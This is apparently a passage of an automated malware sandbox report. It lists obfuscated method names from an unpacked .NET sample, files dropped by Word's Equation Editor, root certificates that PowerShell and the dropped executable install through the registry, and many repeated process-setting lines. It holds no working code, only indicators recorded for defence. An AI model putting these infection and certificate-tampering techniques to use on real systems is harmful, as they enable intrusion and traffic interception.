Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, AeDNYYHlu3VDqHZLHr.cs	High entropy of concatenated method names: 'WkiI3V4vJ', 'oBGuqejTZ', 'hhstBGGaT', 'Dd3wrQluM', 'QSsBVpXkL', 'f2r5x13Xl', 'RAYawt6wWaILic8Zur', 'RhQNS4WYJgUA7ognfS', 'IndAyxbvC', 'etSbJDeMJ'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, ibXryOsUOOV6l7fNKm.cs	High entropy of concatenated method names: 'kaN4cqGN2t', 'vFd4PBWreL', 'RwE4yUHCUB', 'ImC42hW0kt', 'qCV4SmB4VN', 'fdK4gaKuCc', 'uOD5p9CVIqLqY6AjMY', 'BDEuXcaNisbudQFChG', 'M7m44tBOuL', 'vuf4eZbtxd'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, LclYXFogjBwfmAAPnV.cs	High entropy of concatenated method names: 'F1USxpNMBk', 'Jq9SO9y0AI', 't4JSvRXhgg', 'oBkSWif2HT', 'iHHSGwohj9', 'XJISZXHsFA', 'v4iSfxuTiy', 'sV1Snog1Rw', 'qXFS6YAKTm', 'r6NSHUj712'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, e75oKkqSCgScEZvAKm.cs	High entropy of concatenated method names: 'hxJJjLalPT', 'FByJB4yH7Y', 'vR3J9kkTvg', 'FNUJG2L1m7', 'yFZJfOhvoH', 'ENsJnMdcAZ', 'LwHJH4vFPv', 'u49Jd1AC2F', 'rtJJxf1Hrj', 'rBGJlRf0lj'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, dShs4ezPBMDHRwLLMU.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'WNV1JYp7NV', 'MME1SIuBh4', 'hSJ1gtTjBG', 'KHx1rTHnPQ', 'XyA1AiRD0B', 'Cp911Hd8tG', 'q4t1bD3wha'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, BJ2pW3uOeIoHjaHKoP.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'kkyKVVMycG', 'RJbKQwpAQK', 'rNgKzXogEW', 'kJkeXtGhCv', 'YaOe4P68UO', 'oSReKKikWd', 'yaAeeoi7g5', 'OjLDxh8QHv1PoSo30Wy'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, iiWnsRyLxDWh9ffbQG.cs	High entropy of concatenated method names: 'z8hfKWksO4174XoE8sb', 'sduBimkqWJRA6XIEp9P', 'w4FCAfnJQA', 'IRtC1073jI', 'b1UCb3FBgn', 'qMsIDGkRpvcCXPleWeA', 'uwsGkJk4ZyLlZrk9HjD'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, c28qukSTEIWu0Cb4yJ2.cs	High entropy of concatenated method names: 'BZG1UdQGTA', 'TAD1DmlK1J', 'ATX1IuMZnV', 'OlA1uhJUrh', 'tDu1MtCvk3', 'TQS1tlxBPu', 'aCZ1wFIENe', 'tko1jMeH3B', 'JQ61B70Ym6', 'CXp15ltPZx'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, q0jDvgXv2QdU043dgA.cs	High entropy of concatenated method names: 'QoVNMoiNsu', 'X2RNwuYw3H', 'l1F0ZMiLSZ', 'Igr0fk0f4l', 'GCm0nPhHlW', 'cGe06Nixsk', 'KuY0HxlcEe', 'C5r0ddYDV6', 'HdD0hjBh8L', 'M600xx7UEw'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, jnJIj2iDj4MGKBhUPO.cs	High entropy of concatenated method names: 'qbPcFlMHUe', 'iRdc0c2YWL', 'uIvcC9tL8A', 'JklCQmlGPa', 'CBMCzaZXev', 'IFBcXsTxUZ', 'WkWc41nwg3', 'bMbcK16Eno', 'vODce8b1FW', 'REocakpsGA'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, KQN7FiJmb5DebHwoE8.cs	High entropy of concatenated method names: 'y2k14Z0MHC', 'eVU1e0EsIj', 'Yv51aqwlAe', 'oHW1F2Gha7', 'og31YqxXW2', 'Mux1NXbvKJ', 'Ueh1CWNSRb', 'kUeAqbIZmD', 'sWaA8BpmNc', 'q1QAV89B81'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, vKe1BMSa6I25SnIIQFD.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'lbEbvODlhh', 'BMnbWH07VF', 'cy6boxn43E', 'yfjbs6xUAR', 'EX4b70NDwN', 'ah2biYLMi2', 'S9Bbqh3eqi'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, yOXVwBPrFV5waJhhZk.cs	High entropy of concatenated method names: 'W6IcUrtJd4', 'jLIcDIqqlC', 'xAacIkvTaQ', 'Ps0cuqSHnK', 'RKLcMVI99n', 'btEcthLejQ', 'SoOcwtVC5i', 'FTxcjfKpYH', 'd26cBsOoUV', 'Yc3c5H98pY'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, BKdqCmVayTvkt8v6qJ.cs	High entropy of concatenated method names: 'Dispose', 'UQA4VWHPJU', 'BBbKGAgDsR', 'YiLEEBN755', 'Os04QiF3T9', 'l2m4zFWCkE', 'ProcessDialogKey', 'qWZKXwL9at', 'RwIK4B573C', 'zByKKeMcep'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, kPZwByDBcRi0ZY7Ors.cs	High entropy of concatenated method names: 'vAvCTD0w87', 'LjECUbwml7', 'aYSCIsmyQr', 'ua7Cuj4FVx', 'vQvCtZg9RE', 'gyeCwoUsip', 'BQtCBEjJCX', 'O81C5Q2bV8', 'NbOPTokMOJHeW5xHVJJ', 'oFiVxlkG8SwvnNbfwVS'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, BsieyFtZXxC0YkKZ1m.cs	High entropy of concatenated method names: 'a33ryE1GHD', 'VXPr2iRiR8', 'ToString', 'mX4rF0a1LX', 'CSgrYCKn6m', 'QPcr0Y5ffo', 'NKUrNZvCB3', 'BtNrCLRn3g', 'mxqrc7R6Re', 'VQsrPnRr90'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, W6lmCG9Nq4m7ubavG2.cs	High entropy of concatenated method names: 'fTyCmkEkhg', 'E8XCYrb04p', 'e2VCNeV3wT', 'kcYCc5Auhx', 'SGUCPgN2yL', 'T6ZN781iuH', 'hGPNi8gbsf', 'Rm7Nqg1QPA', 'fw5N8f1N4e', 'MtENVIUGma'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, e5cxfFeW2LybtdDGiN.cs	High entropy of concatenated method names: 'Wnr0u29UJq', 'dPF0td7v8v', 'GlK0j1jW4j', 'sJt0BB2Nup', 'y4L0SROAgF', 'MiT0gb1v6V', 'aGG0r1KZxe', 'ELU0AXCVDd', 'MaI01Tmi4F', 'mC80beGQRO'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, FpO6EurS5foft958ol.cs	High entropy of concatenated method names: 'EKyYvBmABP', 'KxtYWEjRWO', 'SlZYonVwpI', 'l9dYsNPKxr', 'lwJY7PujaT', 'Wk6YiBypLy', 'NM8YqrB9s4', 'pwVY81CPZc', 'yY8YVSPRtG', 'jetYQldbau'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, fmeKAfSSnKI2ClfROdS.cs	High entropy of concatenated method names: 'ToString', 'dL9bea7GXl', 'vkuba5KcRD', 'TbvbmRmO9E', 's5vbFp6nqP', 'wtfbY5An4h', 'V2jb0jV5Nm', 'tUVbNdSJlo', 'DSL4jdK3uMRfNS7Rphg', 'w2vnQOKdfogYxUpyxUB'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, zOLJmBCA1Teg7PiV1L.cs	High entropy of concatenated method names: 'NLnAFadnEg', 'SHCAYjqP9x', 'P8eA0M4mwA', 'ri8ANZyG1j', 'JUOACZTmeK', 'Ye6AcwdoTr', 'xTuAPXlbKb', 'pf5A3bfeVT', 'V0hAyemlds', 'q3oA2J1hj0'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, Xvr3YLNGwrNm4NZwvB.cs	High entropy of concatenated method names: 'UDQr8IS14h', 'SqorQSDk3E', 'JkUAXRyiNC', 'MxZA4OUEVm', 'XOkrlmYGdn', 'El8rORYZiY', 'zZwrLA8oTX', 'xKPrvvbgjm', 'nFJrW3Aw2s', 'HCuropyBI2'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, gFGLQUQObC5qQ0lCjG.cs	High entropy of concatenated method names: 'OvBemqwNU8', 'EoYeF4xmdo', 'uVReYFtpsC', 'WYPe0l4Jkg', 'wlleNxZbHk', 'sKxeC2RQiQ', 'o19ecKCXAa', 'igSePDPaDn', 'tbee3Dsww0', 'C9OeyJDbrf'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, AeDNYYHlu3VDqHZLHr.cs	High entropy of concatenated method names: 'WkiI3V4vJ', 'oBGuqejTZ', 'hhstBGGaT', 'Dd3wrQluM', 'QSsBVpXkL', 'f2r5x13Xl', 'RAYawt6wWaILic8Zur', 'RhQNS4WYJgUA7ognfS', 'IndAyxbvC', 'etSbJDeMJ'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, ibXryOsUOOV6l7fNKm.cs	High entropy of concatenated method names: 'kaN4cqGN2t', 'vFd4PBWreL', 'RwE4yUHCUB', 'ImC42hW0kt', 'qCV4SmB4VN', 'fdK4gaKuCc', 'uOD5p9CVIqLqY6AjMY', 'BDEuXcaNisbudQFChG', 'M7m44tBOuL', 'vuf4eZbtxd'

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\CLLPdgxhnmwGf5Y[1].exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
